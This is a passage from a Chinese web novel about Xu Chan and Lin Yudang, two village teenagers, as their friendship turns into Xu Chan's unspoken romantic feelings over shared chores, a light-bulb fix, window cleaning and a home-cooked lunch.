许蝉有些错愕,意外吗?心头萌动吗?好像什么感受都有但什么又都没有。
(朋友?我缺朋友吗?)
“好。”
许蝉温柔一笑,回应道。
“你可以来我家玩,觉得无聊了也可以来找我……嗯……”
林语铛笑笑,不知道该说什么了,她只是希望许蝉不要那么累,或许是想让自己成为许蝉的救赎,她总是这样,喜欢让别人记忆深刻,她很擅长,这是她独特的心理与能力。
“好
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。”
许蝉一一应着,手指浸在江水中,凉凉柔柔的。
(林语铛,她到底是个怎样的人?)
林语铛搓着衣服,犹豫再三还是问出口。
“蝉儿,你们家跟李姨关系很好吗?”
“一般,有点亲戚关系。”
许蝉冷冷回道。
“那你喜欢帮别人补课吗?”
此话一出,林语铛当即后悔了,不应该问这么快这么直白的!许蝉也有些惊讶,林语铛问这个干什么?
“一般吧。”
许蝉回道,她对林语铛还是保持着距离。
“好。”
林语铛尴尬笑笑,不再多问。
(林语铛啊林语铛,你又发什么神经?问这问那的,败坏自己在许蝉那的印象!)
林语铛懊悔地搓着裙子,很快也便洗完了。她站起将衣物放好,又脱鞋蹲下,拨江水至自己脚上冲洗泡沫。
许蝉在边上瞧着,又发起神来。
(她的脚竟也那般白皙娇嫩……)
“我们走吧。”
林语铛起身,甩两下脚上的水珠。
“啊…好!”
许蝉回神立刻起身。
林语铛与许蝉并排走在回家的路上,太阳已然高升,沾水的衣服加重了背篓的重量,行走中竟还能感知到细细的丝网粘在脖颈间。
(真恶心!身上出汗本就黏黏的,还有这些个丝网,烦死了!)
“嗯……蝉儿,帮我把盆拿出来一下。”
“啊?哦好。”
许蝉闻声愣了一下,还是帮林语铛拿了。只见林语铛又像来时那样开始挥舞起铁盆,有模有样的,看着真有点巫师天赋在身上。
“蝉儿,你走我后面。”
“好。”
许蝉跟在后面,看着林语铛努力挥舞的背影忍不住噗嗤一笑。
(有点意思。)
……
“好啦,我们到家了啦!”
很快,二人便走至各家门口。正准备分别时,林语铛忽然叫住许蝉。
“蝉儿!你等一下!”
说着,林语铛快速开院子铁门进入,大步跨上二楼。
“嗯?”
许蝉疑惑站在原地等着,将手上提着的水桶短暂放在地上,她不喜欢背背篓。
过了一会儿,林语铛两眼亮晶晶地出来,手上拿了一根老酸奶雪糕。
“蝉儿,给你的!”
林语铛笑嘻嘻地将雪糕递给许蝉,接过雪糕的许蝉有些受宠若惊,表情有些僵硬。
“谢,谢谢。”
“嘿嘿!不客气,你自己吃哦,别给你弟弟了!”
“嗯好。”
林语铛乐呵呵地挥手告别,许蝉也回到自己院中。
房间里,许蝉坐在书桌边,若有所思地盯着这还冰硬的老酸奶雪糕,这是她第一次把零食带进房间。
(她……跟别人当真是不一样的。)
许蝉朋友少,老师奖的零食或是亲戚给的玩物,大多都直接被许哲讨要过去,她也不会计较。林语铛是唯一一个如此大方提醒自己留着吃的人,深刻触动了许蝉快要麻木的内心。
窗外暖风吹过,许蝉再次想起昨日林语铛吃雪糕的情景,不禁脸红起来。
(不对!)
许蝉强制回神,阻止自己回忆。
(当真是……好奇怪的感觉……)
8. 第八章
外婆家的东西大多都年代久远,年纪最小的物件也有个五六年。一楼这小灯泡多半也是年岁已高,灯枯油尽了,再怎么按开关也毫无反应。
昨夜,林语铛都只能用手机后灯照明才不至于摸黑。如今趁着天亮,林语铛萌生了换灯泡的想法。
(只是……当真要换掉外婆屋内的东西吗?这一切都是珍贵的温存回忆,换了则是不可逆的……)
纠结良久后,林语铛还是决定将这灯泡换了,灯是时光逝去的参照物,久了会染灰暗沉,更换新灯则好似承接旧灵而迎新景运。
只是此屋空余多年,着实没有可以更换的灯泡。苦恼之际,林语铛也就仅有许蝉可以求助,她在微信给许蝉发消息……
「林语铛:蝉儿~你家里有没有新的灯泡呀~(卖萌表情包)(卖萌表情包)」
「许蝉:有的,要什么款式?」
「林语铛:E27螺口的白炽灯。(期待表情)」
「许蝉:好,我给你送来。」
「林语铛:不用啦~我自己来拿就好啦,谢谢蝉儿~这个灯泡多少钱呀?我微信转给你。」
「许蝉:……(已读不回)」
林语铛见许蝉良久都不回复,有点不知所措,直接发起二十块的转账。
「林语铛:(你发起了一笔转账)」
「许蝉:……(已读不回)」
就在林语铛准备再说几句时,许蝉终于回复并退回转账。
「许蝉:(已退还)」
「许蝉:我到你家院门口了。」
“嗯?!”
林语铛呆愣一秒,飞速出去开门。许蝉果然已经站在院门口,她抱着一纸盒子,面部无过多表情,单是双目羲和。
“许蝉你来啦!”
林语铛赶忙过去开门,惊喜万分。
“嗯。”
许蝉眼中的柔光骤然熄灭,听到林语铛叫自己全名,她心中莫名地觉得有些落寞,淡淡道。
“我来给你送灯泡……还有,谢谢你早上给我的冰棍。”
说着,许蝉眼中柔光重现。
“哈哈,没事的没事的,不客气,进来坐坐吧!”
林语铛笑嘻嘻的,客套几句道。
“好。”
许蝉也是直接应下,她真想进去坐坐。
“!”
闻声,林语铛抬眼呆愣一秒,随即笑盈盈地带许蝉进屋。
“随便坐哈,我给你拿吃的。”
林语铛上二楼冰箱去拿冷藏的饮料,看着仅剩的一瓶橙汁,林语铛万分庆幸。
(还好,还有一瓶,不然真没什么可招待的了。)
趁林语铛上楼,许蝉仔细扫视一番林语铛的住所,目光停留在一楼的竹床上。
竹床很是干爽,就放了一枕头加一棕色单薄布被。
(这是她睡觉的地方吗……)
许蝉不由得盯着这床出神,心无杂念亦无欲望,呆愣片刻后被林语铛的声音拉回现实。
“坐那床上吧,床干净一点,其他地方还没仔细打扫,堆了很多灰。”
林语铛把橙汁递给许蝉,顺便看看桌上许蝉送来的灯泡。
“啊?”
许蝉惊愣片刻又赶忙坐下道。
“好。”
竹床阴凉,早已没了林语铛的余温,但许蝉依旧觉得哪里不适应,谁家好人一来就请对方坐自己床上的?
(她对其他人……都这样吗?)
许蝉心生一丝不悦,猜想林语铛待江水的朋友亦是这般要好,自己并非是特殊待遇……不过很快,许蝉便打消了这个念头。
(许蝉啊许蝉,你在纠结什么?林语铛在江水长大,有朋友是正常的,关系比你好是正常的,你在失落些什么?难不成你喜欢林语铛啊?)
“我没有!”
许蝉紧捏橙汁瓶身,被自己心声惊得弹起喊道。
“嗯?什么没有?”
林语铛拿着灯泡,闻声转头,一脸疑惑地看着许蝉问道。
“没事……我……”
许蝉视线飘忽,尴尬找补,瞄到林语铛手里的灯泡,当机问道。
“你会装灯泡吗?”
这一问还真成功转移了林语铛的注意力,她是单亲家庭,母亲要强,一人任劳任怨,她还从未独自安装过电灯泡……
“额……”
林语铛嘴角微咧,尴尬笑笑道。
“不太会。”
“我在网上搜一下教程……”
说着,林语铛赶忙拿起手机准备查询。
“不用了,我帮你安吧!”
许蝉赶忙回道,不知为何,她就是想帮林语铛做些事情,潜意识里觉得她们二人的关系还不够熟悉。
“啊?会不会太麻烦你了?”
林语铛受宠若惊,客套几句道。内心着实希望许蝉帮忙,毕竟她的物理是真差,初中成绩就不好,到了高中更是没选物理这门科,可以说是生活某些方面的小文盲。
“没事,我经常换家里的灯泡,不麻烦。”
许蝉上前一步说道,顺手放下手里的橙汁。
“噢……真的非常感谢啦!蝉儿,你真是个大好人!”
林语铛迟疑一秒后立改神情,双目放光,一把抓起许蝉的手说道。
“嗯!”
许蝉被这突然的肌肤触碰惊得心头一颤,瞳孔放大。
“额……抱歉……”
见许蝉如此震惊,林语铛赶忙与许蝉拉开距离,十分懊悔刚才的举动。
(林语铛,你这高兴就喜欢拉别人手的习惯真该改改了!)
“啊没事!”
许蝉紧接回道,也开始后悔前一秒的表情,她不反感林语铛拉自己的手,相反,还有点喜欢,她觉朋友间的肢体接触是关系好的象征。
许蝉暗暗后悔,表面又是一副表情不多的板正脸,叫人难以探得其内心想法。
“语铛,你家的电闸在哪?”
许蝉无奈挑开话题道。
“哦,在这。”
林语铛快步走到楼梯口的那面墙下,指指头顶的电闸回道。
“嗯。”
许蝉跟在林语铛身旁,抬起电闸保护盖,扫了一眼,很快拉下总闸。
“啪。”
清脆一声响后,许蝉就来到要更换的电灯泡下方,抬头目测一番高度,正经问道。
“你家有梯子吗?”
“没有。”
林语铛呆呆回道。
“哈~那我可以踩你家的桌子吗?”
许蝉见林语铛的呆样真觉可爱,嗤笑一声问道。
“当然可以!注意安全。”
林语铛应道。
关灯泡这事于许蝉来说简单的很,平日在家三两下就可以换好,今日却慢慢磨了很多时间。
许蝉站于桌上,逆时针轻扭旧灯泡,林语铛则在下张望着,时刻保护许蝉的安危,房内格外安静。
许蝉心中不愿放过这个机会,总想找些话题,她真想多了解林语铛一点。
旧灯泡取下,许蝉蹲下去拿新灯泡之际,她与林语铛近距离对视,趁机问道。
“你有男朋友了吗?”
问着,许蝉慌忙起身去安新灯泡,装作漫不经心,实则内心慌乱,但不后悔。
“!”
林语铛被问的诧异,不知许蝉此言何意,如实答道。
“还没有,家里管的严,我还没谈过呢。”
“你呢?蝉儿?”
林语铛反问道,既然许蝉开口问了,她也想趁机多了解点许蝉。
“也还没。”
许蝉紧接回道,心情尚佳。
“噢噢,那你喜欢什么类型的?”
林语铛继续问道。
“……”
闻言,许蝉扭灯泡的手瞬间一顿,思索片刻回道。
“都喜欢……”
“嗯?都喜欢?”
林语铛不解,都喜欢?什么意思?是不挑吗?
“嗯,都喜欢。”
许蝉轻声重复道,快速扭好灯泡下桌。
明明二人已有来往多次,又互助多次,关系理应亲密许多。但当许蝉下桌与林语铛近距离对视时,二人却还是下意识回避视线,显得很是生疏。
空气冷凝,气氛尴尬之际,林语铛赶紧抛一
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话题道。
“蝉儿,我带你去洗手吧,在二楼。”
“嗯,好。”
许蝉轻声回道,跟着林语铛上楼。
这自建房年岁已久,水泥楼梯加水泥墙面,厚灰层层,阴凉间又透着些许沉默的被遗忘感。
楼梯围墙而建,共两段楼梯,交接处有一四方小窗,可惜满是灰烬,遮挡了光亮。
许蝉沉默盯着这扇小窗,莫名地竟生出了清扫之意,她双唇微颤,犹豫片刻后问道。
“语铛,这扇窗需要擦一下吗?”
“嗯?”
林语铛止步转头,于高位俯视许蝉,疑惑微颤眉头,随即将目光落于那老旧玻璃窗,儿时记忆瞬间翻涌而上。
“它应有些年份了,我第一次来外婆家时,它还很明净呢,哈哈。”
林语铛温声细语说道,眉眼盈盈,温柔而不失明媚。
“等会我自己擦一下吧,蝉儿不必忙活了。”
“……”
林语铛本是出于好心,不愿许蝉继续劳累,但话一出口却悄然发生了微妙的变化。
二人默契觉得这话充满着赶客之意,许蝉双目微颤略显落寞,委屈于眼底透出。
无奈之下,林语铛只好立即改口,轻轻皱眉视线飘忽,尴尬道。
“嗯……若是蝉儿无事,可否帮我擦一下这窗呢?”
“好。”
许蝉一口应下,嘴角勾起几分得逞的笑意。
圆盆凉水,盆绿水清。这青绿色圆盆是已故外婆家唯一的新盆,应是之前买的还没来得及用。
林语铛常用这盆洗衣服,故而将它洗得格外干净,随着林语铛下楼梯的步子晃动,盆里的灰抹布也随水波游荡。
“蝉儿,家里就一块抹布,要不还是我……”
林语铛俯身将盆放于地上,松垮的低马尾滑至右肩前,夏衣单薄,这一俯身,林语铛清瘦的双肩与纤细的腰肢尽数显现。
许蝉垂眸间慌忙挪开视线,盯着清水中的抹布,一口打断林语铛的话道。
“我来吧。”
许蝉利落蹲身拿起盆中抹布,水花洒落于地的瞬间,她已然在擦窗上的厚灰。
(不要多说了……不要拒绝……我……)
许蝉背身皱眉,希望林语铛不要再说话了,但内心又渴求林语铛的声音。
许蝉不知自己为何执意要擦这窗户,但她很是清楚一点,她想留下来。
“嗯?”
林语铛挑眉不解,呆愣看着许蝉忙活的背影。
(她怎么……这么热心?莫非……是有意交好?)
既如此!那好办啊!
林语铛恍然舒眉抬眸,欣喜之意溢出眼底,她还真对许蝉有点好感,许蝉帮了她许多,长得又好看,气质又好,谁不喜欢?
“蝉儿~”
林语铛双手藏于身后,前倾身子上前,语气略带撒娇之感地叫着许蝉名字。
“你对我真好~我们是好朋友吗~”
林语铛扭捏问道,开始释放自身魅力。
闻言,许蝉挥动的右手突地一顿,她不敢看林语铛的眼睛,单是瞥了眼脏兮兮的抹布,转身去盆边搓洗的同时,压着情绪淡淡道。
“是的,我们是朋……友。”
说话间,许蝉眼皮不自觉耷下,情绪直线下降。
朋友,好生疏的关系,可对她与林语铛而言,朋友不已然是最亲密的关系吗?她还想要什么?她还想奢求什么?难道要像前日那样,生出极其变态疯狂的想法吗?
内心反复横跳间又显得极其空虚飘渺,许蝉开始检讨自己,快速调整心态,生硬挤出一抹微笑,与林语铛相视间由生一丝满足,转瞬又觉得落寞。
“这扇窗可以看得很远呢。”
许蝉挑开话题,透过那一抹干净的水迹朝外看去。
“是啊,前面没什么房子遮挡,可以顺着这条方向望到村头几户人家呢!”
林语铛笑嘻嘻回道,凑于许蝉身边,也朝着许蝉的方向看去。
冥冥中,林语铛隐约感知到许蝉的异样,但没什么思考头绪,她感知到许蝉的情绪很复杂,复杂到她自己无法参透。
9. 第九章
哑巴太难听了,它将难以言说的感情格式漠化,站在上帝视角予以指责。
许蝉不喜欢这个词,明明林语铛就在自己身边,明明当下就只有二人独处,但许蝉总觉得哪里怪怪的,很是不自在。
仿佛有一双眼睛在暗处盯着她,以第三视角在监视她,她觉得很不自在,觉得内心被束缚,被牵制,或许,那双眼睛就是那所谓的道德底线吧。
晦暗的窗户渐渐明亮,带着清晰的水渍,透过老旧的玻璃窗,也慢慢可以看清黄土路上的石子与旁人种的小番茄。
林语铛神情怔愣,瞬被回忆涌上心头。
多年前,她因太矮而看不到这窗,多年后,这扇窗终可以为她打开却尘迹满满。屋内空荡而尘埃回旋,怎么看都是落寞孤寂的。
恍惚间,林语铛垂下双眸,软软靠于许蝉左肩,喃喃道。
“蝉儿,你真是个大好人。”
“!”
许蝉颤眉一惊,手上动作赫然僵住,这次,她不再露出惊讶的表情,短暂思忖一番方侧眸看向林语铛。
林语铛明明与许蝉一般高,却总给许蝉一副小鸟依人的错觉。
林语铛这一靠,瞬间打断了许蝉的全部思绪。
窗外阳光也在此刻刹然照进,恰到好处地落于许蝉林语铛身上,增添了几分温馨治愈的氛围。
(她身上好香……头发也好软……)
许蝉暗暗出神,恍然又意识不妥,本想继续擦窗却见窗已明亮,明净玻璃窗好似在提醒着许蝉什么,令她短暂呆愣。
此窗已明,我心了了。
许蝉轻抿双唇,犹豫片刻后问道。
“你……喜欢我吗?”
“喜欢!当然喜欢!”
林语铛不假思索回道,被这束阳光显得闪闪发光,语气却像喝了假酒那般,真心又不真切。
她口中的喜欢与许蝉的喜欢不一样,二人心如明镜。
当许蝉问出口的时候,林语铛虽觉得诧异暧昧,但还是没往爱情方面去想,依旧只停留在友情方面。
有许蝉这样貌美独特的朋友,林语铛感到庆幸。
“嗯。”
许蝉轻嗯一声,不再过多引导,她非常清楚地明白,林语铛的喜欢不是自己想要的,但事不可急于求成,感情之事更当细水长流,有当下这份友谊的“喜欢”,许蝉已然知足。
二人家境相差甚远,不论怎么看,好像都只有短暂相遇的缘分,是许蝉奢求过多了……
许蝉备感落寞间,林语铛忽反问道。
“那蝉儿喜欢我吗?”
林语铛总是那么的温柔明媚,她双手握住许蝉的左手,笑的很是治愈。
许蝉惶恐,身子微僵,下定了某些决心,她强撑着将目光定于林语铛的双眸,嘴角略微勾起,面色也轻轻泛红道。
“当然,喜欢。”
许是许蝉的目光太过温热,林语铛一时竟有些错愕。
(这场景……是不是有些暧昧了?)
阳光透过玻璃窗落于阴暗的楼道,将四周的冷寂驱散,留温情漫存。
许蝉深知自己对林语铛生出了超乎友情的情感,但她也清楚地明白二人不可能在一起,林语铛是何人物?自己又是何人物?她不想怪任何人,也不想怪任何事……
“嘻嘻,蝉儿把这窗擦得真干净,真是谢……”
林语铛看着楼道间的昏黄光辉,轻笑笑道。
正当林语铛背身对着许蝉,上前欲凑近打开那旧窗之际。
许蝉忽得从后抱住林语铛,她抱得很轻,手臂几乎只能触碰到林语铛的衣服毛屑。
“不用道谢。”
许蝉小声道,声音略带颤抖却较以往多了几分妩媚之意。
“!”
林语铛被许蝉这一动作惊得一愣,定在原地很是意外。
(先前不是不喜欢我碰她吗?现在这是……难道是我理解错了?哼~搞半天,原来之前是害羞了,果然,妹妹始终是妹妹~)
不论如何,林语铛还是尽可能地接话道。
“好,我下次请你吃饭。”
“不用了。”
许蝉依旧抱着林语铛,淡淡道。
“别客气,都是应该的。”
林语铛轻抚上许蝉的手背,无意识中将许蝉的手心按于自己腰前。
这柔软的触感,令许蝉双目赫然瞪大,身子更加僵硬,她将内心躁动压至心底,孱孱弱弱垂头,面部轻贴于林语铛后肩,不再说话。
(算了,反正都是最后一次了。)
为维系这好不容易的友情进展,林语铛虽觉得哪里怪怪的,但还是选择妥协。
都是女孩子,搂搂抱抱挺正常的。于林语铛而言,此刻的许蝉就像一疲倦粘人的小狗,什么也不说,委屈都咽在腹中,周边无人时才会有所松懈。
林语铛也是心思细腻之人,很能理解许蝉的难处,她微微侧眸,偷偷查看许蝉的面容。
只见这细长的眉间仍是难以松缓的皱痕,好挺的鼻梁撑起整张忧郁的面孔,叫人极其容易忽视她眼角的泪窝。
(许蝉……你到底……经历了什么,为何这般憔悴?)
林语铛盯得出神,心中由生阵阵苦楚,明明自己也过得一般,可就是止不住关注她人的难处。
林语铛看向许蝉的目光柔情悲悯,恍若二人之间有特殊的羁绊那般,不必言说,自相知。
“……”
楼道间的阳光渐渐散去,余温过后是阴凉的晦暗。
夜里,林语铛迟迟未睡,她靠于二楼窗边,视线紧紧跟随对面屋内的熟悉身影。
那是许蝉的房间,临近十一点,她仍伏案于靠窗旧书桌前,埋头刷题。
许蝉房间的橙黄亮光成了这黑夜唯一出格之物,晚风随缘吹起窗边垂落在地的白窗帘,时不时便遮挡了许蝉的半分身子。
这偷感十足又大大方方的窥视,林语铛倒觉别有一番趣味。
长发垂肩随风轻扬,林语铛无意识地挽发至耳后,轻声呢喃道。
“当真美丽动人,惹人怜爱的……妹妹。”
追忆午后,尽情感受许蝉环抱于后的丝丝温存,林语铛真觉许蝉太不一样了,她真挺喜欢许蝉这样的妹妹。
(若是有这么个妹妹一直陪着,那这人生,也未尝不得舒畅……)
林语铛喜欢感慨,但!唯独有一禁忌——那就是深夜醉话不可信!直女就是直女!
夜深,院外槐树的知了已然歇息,许蝉终于得以空闲,注意起晚风戏纱帘的情调。
许蝉坐直身来收拾试卷,目光不自觉瞥向窗外林语铛的家灯,黑漆漆的着实安静。
“一切都该
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……回归正轨了……哎——”
漫长黑夜,孤独长存。
许蝉漫步走至窗前,俯身撑于窗边,借着夏夜的凉意,渐渐释怀。
(不该动的情,始终是不能动的,禁忌之情,终是无果的……)
夜过晨清晓,许蝉埋藏淡化心中的情感,开始了按部就班的生活。
面对许哲和王晨二人,许蝉变得比往日更为耐心,因为她实在提不起情绪了。
“语文的阅读理解,可以先记一下答题模板,喏,就这些。”
许蝉点点答案上画红线的句子,面无表情地看着王晨说道。
“嗯……好……”
王晨一与许蝉对视就脸红埋头,支支吾吾回道,声音带着些许因激动而产生的颤抖。
“你怎么了?哪里不舒服吗?”
许哲在旁看得一脸懵逼,凑近王晨问道,一脸天真。
不能怪许哲疑惑,主要是王晨在学校真就不是这样的,他明明活泼好动的很,根本静不下来,现在怎么大变性了?
“……没。”
王晨应声回道,偷偷白了许哲一眼,暗自厌烦许哲多嘴。
“真……(真的没事吗?)”
“叮—!”
许蝉双唇微张,本欲进一步关心王晨状况,却被手机消息铃打断。
[林语铛:可爱表情包]
[林语铛:小蝉~你在干什么呀~]
本是普通的一句询问,许蝉却觉心跳突地慢了半拍,双目再次恢复亮光。
许蝉的手指僵硬停在屏幕上,心底情感复杂翻涌,就要冲破而出时却被许蝉的理性重重压下。
垂眸间,许蝉眸中的光再次黯淡,她冷冷回复道。
[许蝉:在给弟弟和表弟补课。]
另一边,收到信息的林语铛神色突变,她紧皱眉头,不满道。
“什么鬼!又补课?!短短几十天的假期,你要花多少时间在别人身上啊?够了许蝉,我心疼你——”
林语铛自言自语着,本想着与许蝉商量请她吃饭的事,却不料撞上对方惨状,瞬感心疼。
[林语铛:中午出来吃饭吗?]
[许蝉:不了]
[林语铛:不帮他们补课,可以吗?]
[许蝉:为什么?]
[林语铛:这样来累了,你总是都熬夜刷题,白天又帮他们补课,太累了……我心疼你……]
这段消息一经发出,林语铛瞬即脸红,慌忙撤回删掉后面四字重发。
(我天,我在干嘛?好肉麻,林语铛你神经病吧!……不对!)
单拎这段话来看,倒又显得自己多管闲事了……林语铛转瞬再次撤回,不再回复。
聊天框留下两条整齐的撤回提示,将林语铛的情感掩埋,恍若一切都没发生过那般,唯有砰跳不止的心成了这段消息短暂的证明。
屏幕的另一侧,许蝉同样脸红心跳,她呆愣盯着屏幕上略带暧昧的语句和戛然撤回的羞涩,难以置信这是林语铛说出来的话……
“她……到底想干什么?”
许蝉上睫毛轻颤,扔下王晨许哲二人,快速跑上二楼关门靠于门口。
“呼——”
许蝉难以抑制的剧烈心跳,大口喘气平复发烫的脸颊。
“林语铛……你……”
10. 第十章
[许蝉:?]
许蝉靠在门后,贴着冰凉的门板缓缓滑下,瘫坐于地上,手指僵硬不知如何回复,单是扣了个问号试探。
盯着最新聊天框的问号,林语铛深感懊悔无力,看这情形,许蝉定是看到了自己的两条信息……
“哎——”
林语铛后仰躺于竹床上,手机自然滑落至薄被上,她长叹一口气,满脸无所谓的态度。
(算了,看见就看见吧,是我冲动多事了,好不容易关系有所进展,又被我赌回去了,弄不好还招小蝉讨厌,啊啊啊!算了算了,反正在这也待不了多久……)
林语铛也不回复,单是一味地听天由命,顺其自然。
短短一分钟,林语铛轻松随性,许蝉却煎熬万分。
许蝉握着手机扑跪于床边,捂着胸口平息顺气,她的心跳太快了,太乱了,脸跟随心跳泛红。
许蝉将头深埋于床边被褥,嘴角下意识地扬起,极度渴望林语铛的回信。
(林语铛……心疼我?她对我也有好感,是不是?回我消息,林语铛,回我消息啊……求求了……)
先前,许蝉时常觉得书中“心跳如小鹿乱撞”的描写极不合理,当下才真正理解了这种感受。
原来,喜欢一个人真就是秋骨干柴,风一吹,火便着了。
当理智试图压制对林语铛的情感时,许蝉的心会带她层层突破,一举斩断头顶丝线,任由情感泛滥,任由心脏支配肢体。
“我好像,真的很喜欢你,林……语铛。”
许蝉语气颤抖,即使在封闭的房间也不敢提高音量,她轻声喃喃着,睫毛软软下垂,瞳孔略微涣散,注意力难以集中。
“为什么,为什么直面内心,承认对她的喜欢……会这么难……”
许蝉不断地做深呼吸平复心情,因林语铛轻飘飘的“我心疼你”四个字,她有了大胆追爱的冲动。
说不定呢?说不定她们之间会有结果呢?总要有人迈出第一步,也总要有人破窗,既是许蝉先动情,那便由她拨转命运的齿轮吧。
许蝉暗咬牙关,吃力咽下口水,全神贯注地敲击手机键盘,q...u...n……
[许蝉:去哪吃饭?]
消息发出,林语铛的手机当即传来提示铃声。
“嗯?”
林语铛本还不知该如何回复,许蝉这一转移话题的消息实在太及时了,于林语铛而言,这简直就是维系友谊的桥梁,是个大大的台阶。
林语铛喜笑颜开,立刻顺着台阶下台,回道。
[林语铛:街上吧。]
[许蝉:嗯,你约好车了吗?]
[林语铛:(已读未回)]
看到信息的刹那,林语铛原地石化,垂死梦中惊坐起,她还是没能完全适应乡下的生活。
“我滴天!又忘了!在这要预约车!没有网约车,我还不知道李姨的电话!!”
许蝉的心跳逐渐恢复正常,靠在床边,一脸宠溺地盯着手机屏幕,轻笑一声,非常肯定林语铛没有预约。
“小呆瓜~”
许蝉垂眸笑笑,转眼就给母亲发信息说中午不回家吃饭了。
与此同时,林语铛连忙道歉,尴尬又自责。
[林语铛:非常Sorry啊!(哭的表情包)]
[林语铛:我忘了,对不起啊!(道歉表情包)]
许蝉微微眯眼,饶有兴趣地瞧着聊天框上的“对方正在输入中……”,回复道。
[许蝉:家里有菜吗?]
[林语铛:有是有,但是我做饭不好吃……(委屈表情包)]
[许蝉:(已读未回)]
五分钟后……
[许蝉:我在你家门口,可以请我进来吗?]
“啊?!”
林语铛吃惊弹起,忙跑去院中开门请许蝉进来。
再次看到林语铛的瞬间,许蝉的眼中多了一分占有欲,她依旧保持表面的沉稳镇静,实则内心超级想和林语铛多说说话。
“真是抱歉,我还没有李姨的电话……”
林语铛走在前面不停地道歉,解释原因。
许蝉半耳听半耳出的,注意力全在林语铛身上,直奔主题道。
“我来煮饭吧。”
“啊?!”
林语铛闻声再次震惊,迅速推辞道。
“这样不好,蝉儿,我请你吃饭,怎么能让你亲自动手?”
许蝉轻挑右眉,暗暗被林语铛软糯慌张的语气可爱到,但表面却无过多表情,语气正经道。
“嗯,你请我吃,饭菜都是你的呢。”
额……
林语铛怎么听,都觉许蝉这话有点宠溺暧昧,但又见其一本正经,她只好当是自己想多了。
林语铛一个人吃不了多少,赶集时却买了一大包菜回家,全都放在二楼的旧冰箱里冻着。
箱门拉开的瞬间,寒气与生菜的清香瞬间溢出。
许蝉闻之蹙眉,仔细打量一番冰箱内部,竟被打扫得洁净如新,电源也极其稳定。
(……)
许蝉呆愣不语,暗暗回想林语铛到来广青的天数,短短几日,竟能把搁置三年的老房打理的井井有条,当真是厉害哈!
林语铛在旁见许蝉良久都不为所动,瞬即慌了神,担心许蝉嫌弃冰箱的菜品过少,有伤自己在许蝉心中的好感度。
噫!对于完美主义的林语铛来说,好感度降低一事,单是想想就可怕!
为了挽救友谊的桥梁,林语铛立即道歉道:
“蝉儿,对不起啊,冰箱的菜可能有点少,就只有几盒肥牛卷和一些青菜……”
“肥牛卷”这几字出来时,心底的自卑顷刻翻涌而上,抓着许蝉的心脏,使其不忍得颤了一下。
许蝉还从未吃过肥牛卷,长这么大以来,她唯一吃过的牛肉就是水煮黄牛肉,还是在吃席的时候尝过一次。
突如其来的打击令许蝉窘迫地说不出话,她敏感内耗,好不容易迈出的步子又被阴霾遮盖。
就在许蝉不知所措之际,忽觉抚在冰箱门上手一阵温热。
跟随温度看去,原是林语铛轻握住了许蝉的手。
林语铛心思细腻,同理心强,在感知到许蝉的难堪后下意识握住对方的手,以自己的方式转移许蝉的注意力,默默给予许蝉温暖的同时,笑盈盈道:
“我来吧。”
林语铛的笑是极其
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纯粹的,不带任何的戏谑与轻视,甚至有种感化治愈的魔力,当然,这种魔力在许蝉这儿尤为好用。
许蝉怔愣看着林语铛,目光呆滞的瞬间,自卑与不安潜移默化的淡化。
或许许蝉还没意识到,自己有点离不开林语铛了,只有林语铛才能如此轻而易举地解开许蝉心中扭曲缠绕的郁魇。
林语铛手心的温热迅速蔓延至许蝉的心脏,煮得许蝉心沸直跳。
“……”
许蝉不予回应,刚对上林语铛饱含秋水的双眸时,又猛地冷脸回避,强压嘴角闷声道:
“好。”
嗯?林语铛挑眉打量起害羞隐忍的许蝉,心中暗爽。
(呦?冷脸萌?不善言辞的小妹妹?哼~)
林语铛暗自调侃着许蝉,随即拿出几样食材,以招待小孩的口吻道:
“小客人~去拿桌上的薯片吃吧!姐姐做饭给你吃~”
此话一出,在场气氛立即变得轻松,随即又带了一丝甜甜的暧昧,恰到好处,始终介于朋友之间的玩笑中。
许蝉闻声本想接话,却不料话未出口,手先下意识地抓住了林语铛的衣角。
“嗯?”
林语铛挑眉疑惑,不解许蝉的小孩子行为。
“我不吃薯片,姐姐。”
许蝉轻声说道,一脸平静地说出软嫩之话。
“噫——”
林语铛亮大双目,自行脑补许蝉楚楚可怜的小孩模样。
太可爱了,林语铛快被脑补中的许蝉萌化了。
“那陪姐姐做饭好不好呀?”
林语铛夹着嗓子说道,话里话外间都是对许蝉的宠溺与喜爱。
“嗯。”
许蝉不知林语铛的内心戏,闻言点点头,嗯了一声。
这在许蝉看来简直平平无奇,谁知林语铛竟又被许蝉萌的不行。
“嗯…哈哈哈哈!”
林语铛直接笑出了声,她模仿着许蝉的语气,美滋滋地前往厨房。
许蝉则紧跟其后,静静观察林语铛的一举一动,嘴角悄悄上扬。
(原来她喜欢可爱的……)
许蝉默默看着林语铛做饭,视线总会不自觉地停在林语铛的脸上。
煎锅内冒着热气,洋葱与肥牛的香气完美融合。
顺着朦胧的水蒸气,许蝉正大光明地窥视林语铛。
“好香。”
许蝉盯着林语铛的侧脸说道。
林语铛闻声得意笑笑,翻炒的更为卖力,游刃有余地回道:
“哈哈!我做饭的手艺还是很好滴,蝉儿有空了都可以来我家呀!我给你做饭吃!”
林语铛总是那么的明媚大方,短短一两句话便乱了许蝉的心。
“……”
许蝉没有回应,眼中闪过一丝落寞。
(为什么要对我这么好?)
自许蝉这么大以来,还是第一次见如此美丽,温柔,知性的姐姐,仅是站在她身边,许蝉都觉得是奢求……
但偏偏,林语铛却主动而坚定地走向了许蝉,叫许蝉沉沦,无法自拔。
在十七八岁的年纪,情窦初开的年纪,阴暗冷漠的不鸣蝉迎来了为她而响的风铃。
11. 第十一章
许蝉与林语铛共进午餐,已是昨日青空。
今日的天空阴阴沉沉,四处透着低气压。
许哲发烧了。
好不容易不用帮王晨补课的一天,因许哲的发烧,许蝉又不能清闲了。
别的村都有一两个老中医,唯独青谷村没有,生病了就得去街上看医生。
而王霞总有干不完的农活,所以,一切都得许蝉独自忙活。
叫车,准备病历,照顾虚弱的许哲……
天刚亮,许蝉便拉着许哲在院子门口等。
“介介(姐姐),窝布会(不会)邀搭针(要打针)吧?”
许哲穿着绿色外套,小脸红扑扑的,无精打采道。
“呦阔能(有可能)。”
许蝉一本正经回道。
“啊——”
一听到可能要打针,许哲的表情瞬间复杂起来,闷闷哼哼的不开心。
许蝉不予多言,单是一味盯着林语铛家紧闭的大门。
突然,大门开了,穿着睡衣的林语铛出来收衣服。
林语铛披头散发,睡眼朦胧地打着哈欠,双目迷离间与许蝉对视上了。
“嗯!”
见到许蝉的刹那,林语铛骤然清醒。
“早上好!”
许蝉冲林语铛招手笑笑。
“林姐姐早!”
许哲也跟着招招手,他知道林语铛不会说广青话,打招呼时特意改成了普通话。
